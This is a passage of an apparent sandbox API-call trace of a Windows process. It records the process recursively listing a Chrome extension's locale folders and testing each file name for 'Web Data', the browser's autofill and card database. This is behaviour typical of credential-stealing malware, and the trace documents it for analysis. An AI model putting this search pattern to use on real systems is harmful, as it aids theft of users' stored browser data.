IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl" [0056.299] LocalFree (hMem=0x2daca0) returned 0x0 [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl") returned 133 [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl") returned 133 [0056.299] lstrlenA (lpString="\\*.*") returned 4 [0056.299] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.299] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl" [0056.299] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*" [0056.299] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.299] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.299] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.299] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.299] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.299] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.299] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.299] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.299] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.299] LocalFree (hMem=0x2daec0) returned 0x0 [0056.299] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.299] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.299] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.299] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.299] lstrlenA (lpString="\\") returned 1 [0056.299] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.299] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.300] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.300] lstrlenA (lpString="no") returned 2 [0056.300] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.300] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.300] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no" [0056.300] LocalFree (hMem=0x2daca0) returned 0x0 [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no") returned 133 [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no") returned 133 [0056.300] lstrlenA (lpString="\\*.*") returned 4 [0056.300] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.300] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no" [0056.300] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*" [0056.300] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.300] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.300] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.300] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.300] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.300] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.300] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.300] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.300] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.300] LocalFree (hMem=0x2daec0) returned 0x0 [0056.300] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.300] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.300] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.300] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.300] lstrlenA (lpString="\\") returned 1 [0056.300] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.300] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.300] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.300] lstrlenA (lpString="pl") returned 2 [0056.300] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.300] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.300] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl" [0056.300] LocalFree (hMem=0x2daca0) returned 0x0 [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl") returned 133 [0056.300] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl") returned 133 [0056.300] lstrlenA (lpString="\\*.*") returned 4 [0056.300] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.300] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl" [0056.300] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*" [0056.300] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.301] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.301] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.301] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.301] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.301] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.301] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.301] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.301] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.301] LocalFree (hMem=0x2daec0) returned 0x0 [0056.301] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.301] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.301] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.301] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.301] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.301] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.301] lstrlenA (lpString="\\") returned 1 [0056.301] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.301] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.301] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.301] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.301] lstrlenA (lpString="pt_BR") returned 5 [0056.301] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dadb0 [0056.301] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.301] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR" [0056.301] LocalFree (hMem=0x2daca0) returned 0x0 [0056.301] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR") returned 136 [0056.301] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR") returned 136 [0056.301] lstrlenA (lpString="\\*.*") returned 4 [0056.301] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2daec8 [0056.301] lstrcpyA (in: lpString1=0x2daec8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR" [0056.301] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*" [0056.301] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.301] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.301] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.301] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.301] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.301] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.301] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.301] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.301] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.302] LocalFree (hMem=0x2daec8) returned 0x0 [0056.302] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.302] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.302] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.302] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.302] lstrlenA (lpString="\\") returned 1 [0056.302] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.302] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.302] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.302] lstrlenA (lpString="pt_PT") returned 5 [0056.302] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dadb0 [0056.302] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.302] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 